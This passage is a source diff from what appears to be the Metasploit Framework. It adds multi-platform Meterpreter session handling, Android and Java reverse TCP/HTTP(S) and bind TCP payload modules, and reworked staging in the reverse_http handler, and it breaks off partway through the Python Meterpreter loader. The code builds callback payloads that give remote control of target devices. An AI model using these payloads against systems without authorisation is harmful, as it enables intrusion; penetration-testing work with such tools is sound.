diff --git a/lib/msf/base/sessions/meterpreter_multi.rb b/lib/msf/base/sessions/meterpreter_multi.rb new file mode 100644 index 0000000000..44ba0a0522 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_multi.rb @@ -0,0 +1,50 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-independent meterpreter session type +# +### +class Meterpreter_Multi < Msf::Sessions::Meterpreter + def initialize(rstream, opts={}) + super + self.base_platform = 'multi' + self.base_arch = ARCH_ANY + end + + def self.create_session(rstream, opts={}) + # TODO: fill in more cases here + case opts[:payload_uuid].platform + when 'python' + require 'msf/base/sessions/meterpreter_python' + return Msf::Sessions::Meterpreter_Python_Python.new(rstream, opts) + when 'java' + require 'msf/base/sessions/meterpreter_java' + return Msf::Sessions::Meterpreter_Java_Java.new(rstream, opts) + when 'android' + require 'msf/base/sessions/meterpreter_android' + return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts) + when 'php' + require 'msf/base/sessions/meterpreter_php' + return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts) + when 'windows' + if opts[:payload_uuid].arch == ARCH_X86 + require 'msf/base/sessions/meterpreter_x86_win' + return Msf::Sessions::Meterpreter_x86_Win.new(rstream, opts) + end + require 'msf/base/sessions/meterpreter_x64_win' + return Msf::Sessions::Meterpreter_x64_Win.new(rstream, opts) + end + + # TODO: what should we do when we get here? + end +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 21e1d79261..a9dcf83be4 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -67,9 +67,7 @@ module MeterpreterOptions end if session.platform == 'android' - if datastore['AutoLoadAndroid'] - session.load_android - end + session.load_android end [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb index dcf89e44e7..9fc947289e 100644 --- a/lib/msf/core/exploit/browser_autopwn2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -323,7 +323,7 @@ module Msf multi_handler.datastore['PAYLOAD'] = payload_name multi_handler.datastore['LPORT'] = wanted[:payload_lport] - %w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc + %w(DebugOptions PrependMigrate PrependMigrateProc InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 2ed2842ba8..bbd899a0e0 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -199,7 +199,14 @@ protected # allocate a new session. if (self.session) begin - s = self.session.new(conn, opts) + # if there's a create_session method then use it, as this + # can form a factory for arb session types based on the + # payload. + if self.session.respond_to?('create_session') + s = self.session.create_session(conn, opts) + else + s = self.session.new(conn, opts) + end rescue ::Exception => e # We just wanna show and log the error, not trying to swallow it. print_error("#{e.class} #{e.message}") diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index dff5a1237e..2ccdda21d6 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -317,77 +317,31 @@ protected pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r - when :init_python - print_status("Staging Python payload...") + when :init_python, :init_native, :init_java + # TODO: at some point we may normalise these three cases into just :init url = payload_uri(req) + conn_id + '/' - blob = "" - blob << self.generate_stage( - http_url: url, - http_user_agent: datastore['MeterpreterUserAgent'], - http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], - http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'], - uuid: uuid, - uri: conn_id - ) - - resp.body = blob - - # Short-circuit the payload's handle_connection processing for create_session - create_session(cli, { - :passive_dispatcher => self.service, - :conn_id => conn_id, - :url => url, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ssl => ssl?, - :payload_uuid => uuid - }) - - when :init_java - print_status("Staging Java payload...") - url = payload_uri(req) + conn_id + "/\x00" - - blob = self.generate_stage( - uuid: uuid, - uri: conn_id - ) - - resp.body = blob - - # Short-circuit the payload's handle_connection processing for create_session - create_session(cli, { - :passive_dispatcher => self.service, - :conn_id => conn_id, - :url => url, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ssl => ssl?, - :payload_uuid => uuid - }) - - when :init_native - print_status("Staging Native payload...") - url = payload_uri(req) + conn_id + "/\x00" + # Damn you, python! Ruining my perfect world! + url += "\x00" unless uuid.arch == ARCH_PYTHON uri = URI(payload_uri(req) + conn_id) - resp['Content-Type'] = 'application/octet-stream' + # TODO: does this have to happen just for windows, or can we set it for all? + resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows' begin - # generate the stage, but pass in the existing UUID and connection id so that - # we don't get new ones generated. blob = self.generate_stage( - uuid: uuid, - uri: conn_id, + url: url, + uuid: uuid, lhost: uri.host, - lport: uri.port + lport: uri.port, + uri: conn_id ) - resp.body = encode_stage(blob) + blob = encode_stage(blob) if self.respond_to?(:encode_stage) + + print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") + + resp.body = blob # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { @@ -414,11 +368,14 @@ protected url = payload_uri(req) + conn_id url << '/' unless url[-1] == '/' + # Damn you, python! Ruining my perfect world! + url += "\x00" unless uuid.arch == ARCH_PYTHON + # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { :passive_dispatcher => self.service, :conn_id => conn_id, - :url => url + "\x00", + :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index 4a71f73454..9617a5b2f8 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -536,4 +536,12 @@ class Msf::Module::Platform Rank = 100 Alias = "mainframe" end + + # + # Multi (for wildcard-style platform functions) + # + class Multi < Msf::Module::Platform + Rank = 100 + Alias = "multi" + end end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 5d148f2f5c..20520d7622 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -32,6 +32,9 @@ class Payload < Msf::Module require 'msf/core/payload/firefox' require 'msf/core/payload/mainframe' + # Universal payload includes + require 'msf/core/payload/multi' + ## # # Payload types diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 778e92856a..6e8294b78a 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -24,41 +24,41 @@ module Msf::Payload::Android # We could compile the .class files with dx here # def generate_stage(opts={}) + '' + end + + def generate_default_stage(opts={}) + '' end # # Used by stagers to construct the payload jar file as a String # - def generate - generate_jar.pack + def generate(opts={}) + generate_jar(opts).pack end def java_string(str) [str.length].pack("N") + str end - def apply_options(classes, opts) - config = generate_config_bytes(opts) - if opts[:stageless] - config[0] = "\x01" - end - - string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) - end - - def generate_config_bytes(opts={}) + def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + ds = opts[:datastore] || datastore config_opts = { ascii_str: true, arch: opts[:uuid].arch, - expiration: datastore['SessionExpirationTimeout'].to_i, + expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], - transports: [transport_config(opts)] + transports: opts[:transport_config] || [transport_config(opts)] } config = Rex::Payloads::Meterpreter::Config.new(config_opts) - config.to_b + result = config.to_b + + result[0] = "\x01" if opts[:stageless] + result end def string_sub(data, placeholder="", input="") @@ -104,7 +104,8 @@ module Msf::Payload::Android classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end - apply_options(classes, opts) + config = generate_config(opts) + string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) jar = Rex::Zip::Jar.new files = [ diff --git a/lib/msf/core/payload/android/meterpreter_loader.rb b/lib/msf/core/payload/android/meterpreter_loader.rb new file mode 100644 index 0000000000..73f1a7728b --- /dev/null +++ b/lib/msf/core/payload/android/meterpreter_loader.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/base/sessions/meterpreter_options' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Common loader for Android payloads that make use of Meterpreter. +# +### + +module Payload::Android::MeterpreterLoader + + include Msf::Payload::Android + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Android Meterpreter & Configuration', + 'Description' => 'Android-specific meterpreter generation', + 'Author' => ['OJ Reeves'], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'PayloadCompat' => {'Convention' => 'http https'}, + 'Stage' => {'Payload' => ''} + )) + end + + def stage_payload(opts={}) + stage_meterpreter(opts) + end + + def stage_meterpreter(opts={}) + clazz = 'androidpayload.stage.Meterpreter' + metstage = MetasploitPayloads.read("android", "metstage.jar") + met = MetasploitPayloads.read("android", "meterpreter.jar") + + # Name of the class to load from the stage, the actual jar to load + # it from, and then finally the meterpreter stage + blocks = [ + java_string(clazz), + java_string(metstage), + java_string(met), + java_string(generate_config(opts)) + ] + + (blocks + [blocks.length]).pack('A*' * blocks.length + 'N') + end + +end +end + diff --git a/lib/msf/core/payload/android/reverse_http.rb b/lib/msf/core/payload/android/reverse_http.rb new file mode 100644 index 0000000000..3f254a0423 --- /dev/null +++ b/lib/msf/core/payload/android/reverse_http.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Complex payload generation for Android that speaks HTTP(S) +# +### + +module Payload::Android::ReverseHttp + + include Msf::Payload::TransportConfig + include Msf::Payload::Android + include Msf::Payload::UUID::Options + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + def generate_config(opts={}) + opts[:uri] ||= luri + generate_uri(opts) + super(opts) + end + + # + # Generate the URI for the initial stager + # + def generate_uri(opts={}) + ds = opts[:datastore] || datastore + uri_req_len = ds['StagerURILength'].to_i + + # Choose a random URI length between 30 and 255 bytes + if uri_req_len == 0 + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + end + + if uri_req_len < 5 + raise ArgumentError, "Minimum StagerURILength is 5" + end + + generate_uri_uuid_mode(:init_java, uri_req_len) + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end + +end + +end + + diff --git a/lib/msf/core/payload/android/reverse_https.rb b/lib/msf/core/payload/android/reverse_https.rb new file mode 100644 index 0000000000..5360c95b6e --- /dev/null +++ b/lib/msf/core/payload/android/reverse_https.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/android/reverse_http' + +module Msf + +### +# +# Complex payload generation for Android that speaks HTTPS +# +### + +module Payload::Android::ReverseHttps + + include Msf::Payload::Android::ReverseHttp + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + +end +end + diff --git a/lib/msf/core/payload/android/reverse_tcp.rb b/lib/msf/core/payload/android/reverse_tcp.rb new file mode 100644 index 0000000000..b12eca3e42 --- /dev/null +++ b/lib/msf/core/payload/android/reverse_tcp.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' + +module Msf + +### +# +# Complex payload generation for Android that speaks TCP +# +### + +module Payload::Android::ReverseTcp + + include Msf::Payload::TransportConfig + include Msf::Payload::Android + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_tcp(opts) + end + +end +end + diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 46015019f6..a1a992411e 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -4,7 +4,7 @@ require 'msf/core' module Msf::Payload::Java # - # Used by stages; all java stages need to define +@stage_class_files+ as an + # Used by stages; all java stages need to define +stage_class_files+ as an # array of .class files located in data/java/ # # The staging protocol expects any number of class files, each prepended @@ -15,8 +15,12 @@ module Msf::Payload::Java # [ 32-bit null ] # def generate_stage(opts={}) + generate_default_stage(opts) + end + + def generate_default_stage(opts={}) stage = '' - @stage_class_files.each do |path| + stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) stage << [data.length, data].pack('NA*') end @@ -28,15 +32,14 @@ module Msf::Payload::Java # # Used by stagers to construct the payload jar file as a String # - def generate - generate_jar.pack + def generate(opts={}) + generate_jar(opts).pack end # # Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers - # define a list of class files in @class_files which are pulled from the - # MetasploitPayloads gem. The configuration file is created by - # the payload's #config method. + # define a list of class files from the class_files method. The + # configuration file is created by the payload's #stager_config method. # # @option opts :main_class [String] the name of the Main-Class # attribute in the manifest. Defaults to "metasploit.Payload" @@ -44,18 +47,18 @@ module Msf::Payload::Java # "metasploit" package name. # @return [Rex::Zip::Jar] def generate_jar(opts={}) - raise if not respond_to? :config + raise if not respond_to? :stager_config # Allow changing the jar's Main Class in the manifest so wrappers # around metasploit.Payload will work. main_class = opts[:main_class] || "metasploit.Payload" paths = [ [ "metasploit", "Payload.class" ], - ] + @class_files + ] + class_files jar = Rex::Zip::Jar.new jar.add_sub("metasploit") if opts[:random] - jar.add_file("metasploit.dat", config) + jar.add_file("metasploit.dat", stager_config(opts)) jar.add_files(paths, MetasploitPayloads.path('java')) jar.build_manifest(:main_class => main_class) @@ -71,7 +74,7 @@ module Msf::Payload::Java # web.xml. Defaults to random # def generate_war(opts={}) - raise if not respond_to? :config + raise if not respond_to? :stager_config zip = Rex::Zip::Jar.new web_xml = %q{ @@ -96,27 +99,26 @@ module Msf::Payload::Java paths = [ [ "metasploit", "Payload.class" ], [ "metasploit", "PayloadServlet.class" ], - ] + @class_files + ] + class_files zip.add_file('WEB-INF/', '') zip.add_file('WEB-INF/web.xml', web_xml) zip.add_file("WEB-INF/classes/", "") zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/') - zip.add_file("WEB-INF/classes/metasploit.dat", config) + zip.add_file("WEB-INF/classes/metasploit.dat", stager_config(opts)) zip end # # Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}. - # Stagers define a list of class files in @class_files which are pulled - # from the MetasploitPayloads gem. The configuration file is created by - # the payload's #config method. + # Stagers define a list of class files returned via class_files. The + # configuration file is created by the payload's #stager_config method. # # @option :app_name [String] Name of the Service in services.xml. Defaults to random. # @return [Rex::Zip::Jar] def generate_axis2(opts={}) - raise if not respond_to? :config + raise if not respond_to? :stager_config app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -132,16 +134,26 @@ module Msf::Payload::Java paths = [ [ 'metasploit', 'Payload.class' ], [ 'metasploit', 'PayloadServlet.class' ] - ] + @class_files + ] + class_files zip = Rex::Zip::Jar.new zip.add_file('META-INF/', '') zip.add_file('META-INF/services.xml', services_xml) zip.add_files(paths, MetasploitPayloads.path('java')) - zip.add_file('metasploit.dat', config) + zip.add_file('metasploit.dat', stager_config(opts)) zip.build_manifest(:app_name => app_name) zip end + # Default to no extra class files + def class_files + [] + end + + # Default to no extra stage class files + def stage_class_files + [] + end + end diff --git a/lib/msf/core/payload/java/bind_tcp.rb b/lib/msf/core/payload/java/bind_tcp.rb new file mode 100644 index 0000000000..25e9b9379b --- /dev/null +++ b/lib/msf/core/payload/java/bind_tcp.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Complex payload generation for Java that speaks TCP +# +### + +module Payload::Java::BindTcp + + include Msf::Payload::TransportConfig + include Msf::Payload::Java + include Msf::Payload::UUID::Options + + # + # Register Java reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']), + Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2]) + ]) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_bind_tcp(opts) + end + + def include_send_uuid + false + end + + # + # Generate configuration that is to be included in the stager. + # + def stager_config(opts={}) + ds = opts[:datastore] || datastore + spawn = ds["Spawn"] || 2 + c = "" + c << "Spawn=#{spawn}\n" + pass = ds["AESPassword"] || '' + if pass != "" + c << "AESPassword=#{pass}\n" + end + c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"] + c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"] + + c + end + + def class_files + # TODO: we should handle opts in class_files as well + if datastore['AESPassword'] && datastore['AESPassword'].length > 0 + [ + ["metasploit", "AESEncryption.class"], + ] + else + [] + end + end + +end + +end diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb new file mode 100644 index 0000000000..c11114c14e --- /dev/null +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -0,0 +1,102 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/base/sessions/meterpreter_options' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Common module stub for Java payloads that make use of Meterpreter. +# +### + +module Payload::Java::MeterpreterLoader + + include Msf::Payload::Java + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java Meterpreter & Configuration', + 'Description' => 'Java-specific meterpreter generation', + 'Author' => ['OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'PayloadCompat' => {'Convention' => 'http https'}, + 'Stage' => {'Payload' => ''} + )) + end + + def stage_payload(opts={}) + stage_meterpreter(opts) + end + + # + # Override the Payload::Java version so we can load a prebuilt jar to be + # used as the final stage; calls super to get the intermediate stager. + # + def stage_meterpreter(opts={}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + config = generate_config(opts) + + # All of the dependencies to create a jar loader, followed by the length + # of the jar and the jar itself, then the config + blocks = [ + generate_default_stage(opts), + [met.length, met].pack('NA*'), + [config.length, config].pack('NA*') + ] + + # Deliberate off by 1 here. The call to super adds a null terminator + # so we would add 1 for the null terminate and remove one for the call + # to super. + block_count = blocks.length + stage_class_files.length + + # Pack all the magic together + (blocks + [block_count]).pack('A*' * blocks.length + 'N') + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + ds = opts[:datastore] || datastore + + # create the configuration block, which for staged connections is really simple. + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: ds['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: opts[:transport_config] || [transport_config(opts)] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + + def stage_class_files + # Order matters. Classes can only reference classes that have already + # been sent. The last .class must implement Stage, i.e. have a start() + # method. + # + # The Meterpreter.class stage is just a jar loader, not really anything + # to do with meterpreter specifically. This payload should eventually + # be replaced with an actual meterpreter stage so we don't have to send + # a second jar. + [ + [ "javapayload", "stage", "Stage.class" ], + [ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ], + [ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ], + # Must be last! + [ "javapayload", "stage", "Meterpreter.class" ], + ] + end + +end +end + diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb new file mode 100644 index 0000000000..1aff5eab2a --- /dev/null +++ b/lib/msf/core/payload/java/reverse_http.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Complex payload generation for Java that speaks HTTP(S) +# +### + +module Payload::Java::ReverseHttp + + include Msf::Payload::TransportConfig + include Msf::Payload::Java + include Msf::Payload::UUID::Options + + # + # Register Java reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]), + Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) + ]) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + # + # Generate the URI for the initial stager + # + def generate_uri(opts={}) + ds = opts[:datastore] || datastore + uri_req_len = ds['StagerURILength'].to_i + + # Choose a random URI length between 30 and 255 bytes + if uri_req_len == 0 + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + end + + if uri_req_len < 5 + raise ArgumentError, "Minimum StagerURILength is 5" + end + + generate_uri_uuid_mode(:init_java, uri_req_len) + end + + # + # Generate configuration that is to be included in the stager. + # + def stager_config(opts={}) + uri = generate_uri(opts) + ds = opts[:datastore] || datastore + + c = '' + c << "Spawn=#{ds["Spawn"] || 2}\n" + c << "URL=#{scheme}://#{ds['LHOST']}" + c << ":#{ds['LPORT']}" if ds['LPORT'] + c << luri + c << uri + c << "\n" + + c + end + + # + # Scheme defaults to http + # + def scheme + 'http' + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end + +end + +end + + diff --git a/lib/msf/core/payload/java/reverse_https.rb b/lib/msf/core/payload/java/reverse_https.rb new file mode 100644 index 0000000000..02b41b560b --- /dev/null +++ b/lib/msf/core/payload/java/reverse_https.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/java/reverse_http' + +module Msf + +### +# +# Complex payload generation for Java that speaks HTTPS +# +### + +module Payload::Java::ReverseHttps + + include Msf::Payload::Java::ReverseHttp + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + # + # Override the scheme so that it has https instead of http + # + def scheme + 'https' + end + + # + # Override class_files to include the trust manager + # + def class_files + [ + ["metasploit", "PayloadTrustManager.class"] + ] + end +end +end diff --git a/lib/msf/core/payload/java/reverse_tcp.rb b/lib/msf/core/payload/java/reverse_tcp.rb new file mode 100644 index 0000000000..6dd329e30d --- /dev/null +++ b/lib/msf/core/payload/java/reverse_tcp.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Complex payload generation for Java that speaks TCP +# +### + +module Payload::Java::ReverseTcp + + include Msf::Payload::TransportConfig + include Msf::Payload::Java + include Msf::Payload::UUID::Options + + # + # Register Java reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']), + Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2]) + ]) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_tcp(opts) + end + + def include_send_uuid + false + end + + # + # Generate configuration that is to be included in the stager. + # + def stager_config(opts={}) + ds = opts[:datastore] || datastore + spawn = ds["Spawn"] || 2 + c = "" + c << "Spawn=#{spawn}\n" + pass = ds["AESPassword"] || '' + if pass != "" + c << "AESPassword=#{pass}\n" + end + c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"] + c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"] + + c + end + + def class_files + # TODO: we should handle opts in class_files as well + if datastore['AESPassword'] && datastore['AESPassword'].length > 0 + [ + ["metasploit", "AESEncryption.class"], + ] + else + [] + end + end + +end + +end + + diff --git a/lib/msf/core/payload/multi.rb b/lib/msf/core/payload/multi.rb new file mode 100644 index 0000000000..172a7ffab9 --- /dev/null +++ b/lib/msf/core/payload/multi.rb @@ -0,0 +1,50 @@ +# -*- coding: binary -*- +require 'msf/core' + +### +# +# +# +### +module Msf::Payload::Multi + + # TOOD: require the appropriate stuff! + #require 'msf/core/payload/windows/dllinject' + #require 'msf/core/payload/windows/exec' + #require 'msf/core/payload/windows/loadlibrary' + #require 'msf/core/payload/windows/meterpreter_loader' + #require 'msf/core/payload/windows/x64/meterpreter_loader' + #require 'msf/core/payload/windows/reflectivedllinject' + #require 'msf/core/payload/windows/x64/reflectivedllinject' + + # TODO: figure out what to do here + def apply_prepends(raw) + '' + end + + # TODO: figure out what to do here + def initialize(info={}) + super(update_info(info, + 'Name' => 'Multi-Platform Meterpreter Payload', + 'Description' => 'Detect and generate the appropriate payload based on platform/arch', + 'Author' => ['OJ Reeves'], + 'Platform' => ['multi'], + 'Arch' => ARCH_ALL, + 'Stage' => {'Payload' => ''}, + 'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'}, + )) + end + + # TODO: figure out what to do here + def replace_var(raw, name, offset, pack) + return true + end + + # TODO: figure out what to do here + def handle_intermediate_stage(conn, payload) + return true + end + +end + + diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb new file mode 100644 index 0000000000..9c5af06037 --- /dev/null +++ b/lib/msf/core/payload/multi/reverse_http.rb @@ -0,0 +1,69 @@ + +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Complex payload generation for arch-agnostic HTTP. +# +### + +module Payload::Multi::ReverseHttp + + include Msf::Payload::UUID::Options + include Msf::Payload::Multi + + # + # Register reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), + OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), + OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + ]) + end + + # + # Generate the first stage + # + def generate(opts={}) + # Not such thing as a first stage for multi/reverse_http + '' + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end + +end + +end + diff --git a/lib/msf/core/payload/multi/reverse_https.rb b/lib/msf/core/payload/multi/reverse_https.rb new file mode 100644 index 0000000000..006833edd8 --- /dev/null +++ b/lib/msf/core/payload/multi/reverse_https.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/multi/reverse_http' + +module Msf + +### +# +# Complex payload generation for arch-agnostic HTTP. +# +### + +module Payload::Multi::ReverseHttps + + include Msf::Payload::TransportConfig + include Msf::Payload::Multi::ReverseHttp + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + +end + +end + diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 1cda34d971..0d5199d3aa 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -14,6 +14,7 @@ module Msf module Payload::Python::MeterpreterLoader + include Msf::Payload::Python include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions @@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader ], self.class) end + def stage_payload(opts={}) + stage_meterpreter(opts) + end + # Get the raw Python Meterpreter stage and patch in values based on the # configuration # @@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader # HTTP(S) transports. # @option opts [String] :http_proxy_port The port to use when a proxy host is # set for HTTP(S) transports. - # @option opts [String] :http_url The HTTP(S) URL to patch in to + # @option opts [String] :url The HTTP(S) URL to patch in to # allow use of the stage as a stageless payload. # @option opts [String] :http_user_agent The value to use for the User-Agent # header for HTTP(S) transports. @@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader # @option opts [String] :uuid A specific UUID to use for sessions created by # this stage. def stage_meterpreter(opts={}) + ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') var_escape = lambda { |txt| txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) } - if datastore['PythonMeterpreterDebug'] + if ds['PythonMeterpreterDebug'] met = met.sub("DEBUGGING = False", "DEBUGGING = True") end - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = 